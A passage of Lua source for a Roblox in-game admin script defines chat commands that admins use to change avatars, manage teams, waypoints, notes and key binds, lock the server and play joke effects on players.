7609 local Players = STRING:Scan(Arguments[1], Speaker)
7610 local ID = nil
7611 if tonumber(Arguments[2]) ~= nil then
7612 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7613 else
7614 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7615 for _,Face in pairs(FaceTable) do
7616 if string.lower(Arguments[2]) == string.lower(Face) then
7617 ID = FaceID
7618 break
7619 end
7620 end
7621 end
7622 end
7623 if ID then
7624 for _,Player in pairs(Players) do
7625 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7626 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7627 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7628 end
7629 end
7630 end
7631 end};
7632
7633 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7634 local Players = STRING:Scan(Arguments[1], Speaker)
7635 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7636 for _,Player in pairs(Players) do
7637 if Player.Character and Player.Character:FindFirstChild("Head") then
7638 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7639 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7640 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7641 end
7642 end
7643 end};
7644
7645 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7646 local Players = STRING:Scan(Arguments[1], Speaker)
7647 for _,Player in pairs(Players) do
7648 if Player.Character and Player.Character:FindFirstChild("Head") then
7649 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7650 end
7651 end
7652 end};
7653
7654 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7655 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7656 end, Http = true};
7657
7658 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Sends string as a packet to the owner remotely", 0, "Admin", false, function(Speaker, Rank, Arguments)
7659 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7660 end, Http = true};
7661
7662 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7663 local Players = STRING:Scan(Arguments[1], Speaker)
7664 for _,Player in pairs(Players) do
7665 local ExistingData = Player:LoadInstance("Data")
7666 if ExistingData == nil then
7667 ExistingData = Instance.new("Configuration")
7668 end
7669 ExistingData.Name = "Player Data"
7670 local Key = Instance.new("Configuration", ExistingData)
7671 Key.Name = Arguments[2]
7672 Player:SaveInstance("Data", ExistingData)
7673 end
7674 end};
7675
7676 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7677 local Players = STRING:Scan(Arguments[1], Speaker)
7678 local Data = Arguments[2]
7679 for _,Player in pairs(Players) do
7680 local ExistingData = Player:LoadInstance("Data")
7681 if ExistingData ~= nil then
7682 if string.lower(Data) == "all" then
7683 ExistingData:ClearAllChildren()
7684 else
7685 for _,DataObj in pairs(ExistingData:GetChildren()) do
7686 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7687 DataObj:Destroy()
7688 end
7689 end
7690 end
7691 end
7692 Player:SaveInstance("Data", ExistingData)
7693 end
7694 end};
7695
7696 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7697 local Players = STRING:Scan(Arguments[1], Speaker)
7698 local DataSet = {}
7699 for _,Player in pairs(Players) do
7700 local ExistingData = Player:LoadInstance("Data")
7701 if ExistingData ~= nil then
7702 if #ExistingData:GetChildren() ~= 0 then
7703 for _,Data in pairs(ExistingData:GetChildren()) do
7704 table.insert(DataSet, Player.Name..": "..Data.Name)
7705 end
7706 else
7707 table.insert(DataSet, "Data does not exist for "..Player.Name)
7708 end
7709 else
7710 table.insert(DataSet, "Data does not exist for "..Player.Name)
7711 end
7712 end
7713 GUI:ListGui(Speaker, "Notes", DataSet)
7714 end};
7715
7716 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7717 local Players = STRING:Scan(Arguments[1], Speaker)
7718 for _,Player in pairs(Players) do
7719 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7720 Player.Character.Humanoid.WalkSpeed = 16
7721 end
7722 end
7723 end};
7724
7725 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7726 local Players = STRING:Scan(Arguments[1], Speaker)
7727 for _,Player in pairs(Players) do
7728 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7729 Player.Character.Humanoid.WalkSpeed = -16
7730 end
7731 end
7732 end};
7733
7734 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7735 local TeamColor = BrickColor.random()
7736 local TeamName = Arguments[1]
7737 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7738 if #TeamNameSplit >= 2 then
7739 local Color = TeamNameSplit[1]
7740 local NewTeamName = TeamNameSplit[2]
7741 if Color == "Medium stone grey" then
7742 TeamColor = BrickColor.new(Color)
7743 TeamName = NewTeamName
7744 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7745 TeamColor = BrickColor.new(Color)
7746 TeamName = NewTeamName
7747 elseif Colors[string.upper(Color)] then
7748 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7749 TeamName = NewTeamName
7750 end
7751 end
7752
7753 local NewTeam = Instance.new("Team", Server.Teams)
7754 NewTeam.TeamColor = TeamColor
7755 NewTeam.Name = TeamName
7756 end};
7757
7758 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
7759 local Players = STRING:Scan(Arguments[1], Speaker)
7760 for _,Player in pairs(Players) do
7761 Player.Neutral = true
7762 end
7763 end};
7764
7765 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
7766 local Players = STRING:Scan(Arguments[1], Speaker)
7767 if string.lower(Arguments[2]) == "none" then
7768 for _,Player in pairs(Players) do
7769 Player.Neutral = true
7770 end
7771 else
7772 for _,Obj in pairs(Server.Teams:GetChildren()) do
7773 if Obj:IsA("Team") then
7774 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7775 for _,Player in pairs(Players) do
7776 Player.Neutral = false
7777 Player.TeamColor = Obj.TeamColor
7778 end
7779 end
7780 end
7781 end
7782 end
7783 end};
7784
7785 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
7786 for _,Obj in pairs(Server.Teams:GetChildren()) do
7787 if Obj:IsA("Team") then
7788 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
7789 for _,Player in pairs(Server.Players:GetPlayers()) do
7790 if Player.TeamColor == Obj.TeamColor then
7791 Player.Neutral = true
7792 end
7793 end
7794 Obj:Destroy()
7795 end
7796 end
7797 end
7798 end};
7799
7800 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
7801 for _,Player in pairs(Server.Players:GetPlayers()) do
7802 Player.Neutral = true
7803 end
7804 for _,Obj in pairs(Server.Teams:GetChildren()) do
7805 if Obj:IsA("Team") then
7806 Obj:Destroy()
7807 end
7808 end
7809 end};
7810
7811 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
7812 for _,Player in pairs(Server.Players:GetPlayers()) do
7813 GUI:Countdown(Player, Arguments[1])
7814 end
7815 end};
7816
7817 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
7818 local Players = STRING:Scan(Arguments[1], Speaker)
7819 for _,Player in pairs(Players) do
7820 if Player:FindFirstChild("Backpack") then
7821 CORE:ExecuteResource("ShowAd", Player.Backpack)
7822 end
7823 end
7824 end};
7825
7826 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
7827 local Players = STRING:Scan(Arguments[1], Speaker)
7828 for _,Player in pairs(Players) do
7829 if Player.Character then
7830 for PosName,WP in pairs(Waypoints) do
7831 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
7832 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
7833 break
7834 end
7835 end
7836 end
7837 end
7838 end};
7839
7840 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
7841 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
7842 end};
7843
7844 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7845 local Num = 0
7846 for PosName,WP in pairs(Waypoints) do
7847 Num = Num + 1
7848 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
7849 Waypoints[PosName] = nil
7850 end
7851 end
7852 end};
7853
7854 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
7855 local WaypointHolder,WaypointRaw = {},{}
7856 for Name, WP in pairs(Waypoints) do
7857 local View = Name..": "..tostring(WP)
7858 table.insert(WaypointHolder, View)
7859 WaypointRaw[View] = WP
7860 end
7861 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
7862 Clicked.Event:connect(function(Text)
7863 local Waypoint = WaypointRaw[Text]
7864 if Waypoint then
7865 if Speaker.Character then
7866 Speaker.Character:MoveTo(Waypoint)
7867 end
7868 end
7869 end)
7870 end};
7871
7872 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
7873 local Players = STRING:Scan(Arguments[1], Speaker)
7874 local List = {}
7875 for _,Player in pairs(Players) do
7876 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
7877 end
7878 GUI:ListGui(Speaker, "Listed Players", List)
7879 end};
7880
7881 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
7882 if tonumber(Arguments[1]) then
7883 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
7884 else
7885 local Players = STRING:Scan(Arguments[1], Speaker)
7886 for _,Player in pairs(Players) do
7887 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
7888 end
7889 end
7890 end};
7891
7892 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
7893 local Players = STRING:Scan(Arguments[1], Speaker)
7894 local Friends,OneFriend = {}, false
7895 for _,Player in pairs(Players) do
7896 for _,User in pairs(game:GetService("Players"):GetPlayers()) do if User ~= Player then
7897 --[[if Player:IsBestFriendsWith(User.UserId) then
7898 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
7899 OneFriend = true
7900 ]]
7901 if Player:IsFriendsWith(User.UserId) then
7902 table.insert(Friends, Player.Name.." is friends with "..User.Name)
7903 OneFriend = true
7904 end
7905 if _ == #game:GetService("Players"):GetPlayers() and OneFriend == false then
7906 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
7907 end
7908 end end
7909 end
7910 GUI:ListGui(Speaker, "Friend List", Friends)
7911 end};
7912
7913 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7914 Settings.ServerLocked = true
7915 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
7916 end};
7917
7918 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7919 Settings.ServerLocked = false
7920 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
7921 end};
7922
7923 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7924 local OldAge = Settings.MinimumAge
7925 local Age = tostring(Arguments[1])
7926 if Age then
7927 Settings.MinimumAge = Age
7928 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
7929 end
7930 end};
7931
7932 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7933 if Settings.VIPAdminID <= 1 then
7934 MARKET:PromptPurchase(Speaker, VIPAdminID)
7935 else
7936 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
7937 end
7938 end};
7939
7940 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7941 if Settings.VIPMemberID <= 1 then
7942 MARKET:PromptPurchase(Speaker, VIPMemberID)
7943 else
7944 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
7945 end
7946 end};
7947
7948 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
7949 if tonumber(Arguments[2]) then
7950 local Players = STRING:Scan(Arguments[1], Speaker)
7951 local Size = tonumber(Arguments[2])+25
7952 for _,Player in pairs(Players) do
7953 if Player.Character then
7954 if Player.Character:FindFirstChild("Head") then
7955 if Player.Character.Head:FindFirstChild("Mesh") then
7956 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
7957 end
7958 end
7959 end
7960 end
7961 end
7962 end};
7963
7964 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7965 local Players = STRING:Scan(Arguments[1], Speaker)
7966 for _,Player in pairs(Players) do
7967 if Player.Character and Player.Character:FindFirstChild("Torso") then
7968 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
7969 Player.Character.Parent = nil
7970 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
7971 end
7972 end
7973 end};
7974
7975 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7976 GUI:SettingsGui(Speaker)
7977 end};
7978
7979 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7980 if tonumber(Arguments[2]) then
7981 local Players = STRING:Scan(Arguments[1], Speaker)
7982 local List = {}
7983 for _,Player in pairs(Players) do
7984 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
7985 table.insert(List, Player.Name)
7986 end
7987 end
7988 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
7989 end
7990 end};
7991
7992 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
7993 local Players = STRING:Scan(Arguments[1], Speaker)
7994 for _,Player in pairs(Players) do
7995 if Player.Character and Player.Character:FindFirstChild("Head") then
7996 local Char = Player.Character
7997 Char:BreakJoints()
7998 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
7999 Obj.Anchored = true
8000 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8001 local Decal = Instance.new("Decal", Obj)
8002 Decal.Texture = "rbxassetid://178913323"
8003 Decal.Face = Face
8004 end
8005 end)
8006 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8007 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8008 Sound1:Play() Sound2:Play()
8009 coroutine.wrap(function()
8010 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8011 repeat wait()
8012 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8013 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8014 Obj.Transparency = math.random(0,30)/100
8015 Obj.Reflectance = math.random(0,50)/100
8016 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8017 end)
8018 until Char ~= Player.Character or Char.Parent == nil
8019 end)()
8020 end
8021 end
8022 end, Hidden = true};
8023
8024 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8025 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8026 end, Http = true};
8027
8028 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8029 local Players = STRING:Scan(Arguments[1], Speaker)
8030 for _,Player in pairs(Players) do
8031 if Player.Character then
8032 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8033 Obj.Material = "Neon"
8034 end)
8035 end
8036 end
8037 end};
8038
8039 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8040 local Players = STRING:Scan(Arguments[1], Speaker)
8041 for _,Player in pairs(Players) do
8042 if Player.Character then
8043 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8044 Obj.Material = "Plastic"
8045 end)
8046 end
8047 end
8048 end};
8049
8050 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8051 local Players = STRING:Scan(Arguments[1], Speaker)
8052 for _,Player in pairs(Players) do
8053 if Player.Character then
8054 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8055 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8056 end)
8057 end
8058 end
8059 end, Hidden = true};
8060
8061 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8062 local Players = STRING:Scan(Arguments[1], Speaker)
8063 for _,Player in pairs(Players) do
8064 if Player.Character and Player.Character:FindFirstChild("Torso") then
8065 local Pos = Player.Character.Torso.Position
8066 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8067 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8068 if Answer == "Ok" then
8069 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8070 end
8071 end
8072 end
8073 end};
8074
8075 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8076 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8077 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8078 if PlayersFrom and PlayersTo then
8079 for _,PlayerFrom in pairs(PlayersFrom) do
8080 for _,PlayerTo in pairs(PlayersTo) do
8081 if PlayerFrom.Character and PlayerTo.Character then
8082 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8083 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8084 wait(5)
8085 Laser:Destroy()
8086 end)() end
8087 end
8088 end
8089 end
8090 end
8091 end};
8092
8093 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8094 local Players = STRING:Scan(Arguments[1], Speaker)
8095 for _,Player in pairs(Players) do
8096 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8097 Player.Character.Humanoid:Destroy()
8098 end
8099 end
8100 end};
8101
8102 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8103 if Plugins then
8104 local List = {}
8105 for _,Module in pairs(Plugins:GetChildren()) do
8106 if Module:IsA("ModuleScript") then
8107 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8108 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8109 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8110 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8111 end
8112 end
8113 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8114 else
8115 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8116 end
8117 end};
8118
8119 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8120 local Players = STRING:Scan(Arguments[1], Speaker)
8121 for _,Player in pairs(Players) do
8122 GUI:DetachChat(Player)
8123 end
8124 end};
8125
8126 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8127 GUI:DetachChat(Speaker)
8128 end};
8129
8130 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8131 local Players = STRING:Scan(Arguments[1], Speaker)
8132 for _,Player in pairs(Players) do
8133 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8134 local Dead = false
8135
8136 Player.Character.Humanoid.WalkSpeed = 1
8137 local Torso = Player.Character.Torso
8138 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8139 Truck:BreakJoints()
8140 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8141 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8142 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8143 Truck.Touched:connect(function(Part)
8144 if Dead == false then
8145 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8146 if TouchPlayer == Player then
8147 Dead = true
8148 Player.Character:BreakJoints()
8149 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8150 end
8151 end
8152 end)
8153 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8154 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8155 Delay(5, function()
8156 Truck:Destroy()
8157 if Player.Character:FindFirstChild("Humanoid") then
8158 Player.Character.Humanoid.WalkSpeed = 16
8159 end
8160 end)
8161 end
8162 end
8163 end};
8164
8165 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8166 local Joke = REMOTE:DownloadJoke(Speaker)
8167 local Players = STRING:Scan(Arguments[1], Speaker)
8168 for _,Player in pairs(Players) do
8169 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8170 end
8171 end, Http = true};
8172
8173 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8174 local Joke = REMOTE:DownloadJoke(Speaker)
8175 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8176 end, Http = true};
8177
8178 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8179 local Players = STRING:Scan(Arguments[1], Speaker)
8180 for _,Player in pairs(Players) do
8181 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8182 CORE:InvisiblePlayer(Player)
8183 local DogContainer = Instance.new("Model", Player.Character)
8184 DogContainer.Name = "Doge"
8185 local Dog = CORE:Insert(257489726, DogContainer, true)
8186 Dog.Head.Transparency = 0.99
8187 Dog.Name = Player.Name
8188 Dog:MoveTo(Player.Character.Torso.Position)
8189 local Weld = Instance.new("Weld", Dog.Torso)
8190 Weld.Part0 = Player.Character.Torso
8191 Weld.Part1 = Dog.Torso
8192 Weld.C0 = CFrame.new(0,-0.4,0)
8193 for _,Obj in pairs(Dog:GetChildren()) do
8194 if Obj:IsA("BasePart") then
8195 Obj.CanCollide = false
8196 end
8197 end
8198
8199 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8200 end
8201 end
8202 end};
8203
8204 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8205 local Key = string.lower(string.sub(Arguments[1],1,1))
8206 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8207 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8208 end};
8209
8210 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8211 local Key = string.lower(string.sub(Arguments[1],1,1))
8212 KeyBinds[Speaker.UserId][Key] = nil
8213 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8214 end};
8215
8216 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8217 KeyBinds[Speaker.UserId] = {}
8218 GUI:SendHint(Speaker, "Unbinded all keys")
8219 end};
8220
8221 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8222 local Players = STRING:Scan(Arguments[1], Speaker)
8223 local Key = string.lower(string.sub(Arguments[2],1,1))
8224 for _,Player in pairs(Players) do
8225 KeyBinds[Player.UserId][Key] = Arguments[3]
8226 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8227 end
8228 end};
8229
8230 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8231 local Players = STRING:Scan(Arguments[1], Speaker)
8232 local Key = string.lower(string.sub(Arguments[2],1,1))
8233 for _,Player in pairs(Players) do
8234 KeyBinds[Player.UserId][Key] = nil
8235 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8236 end
8237 end};
8238
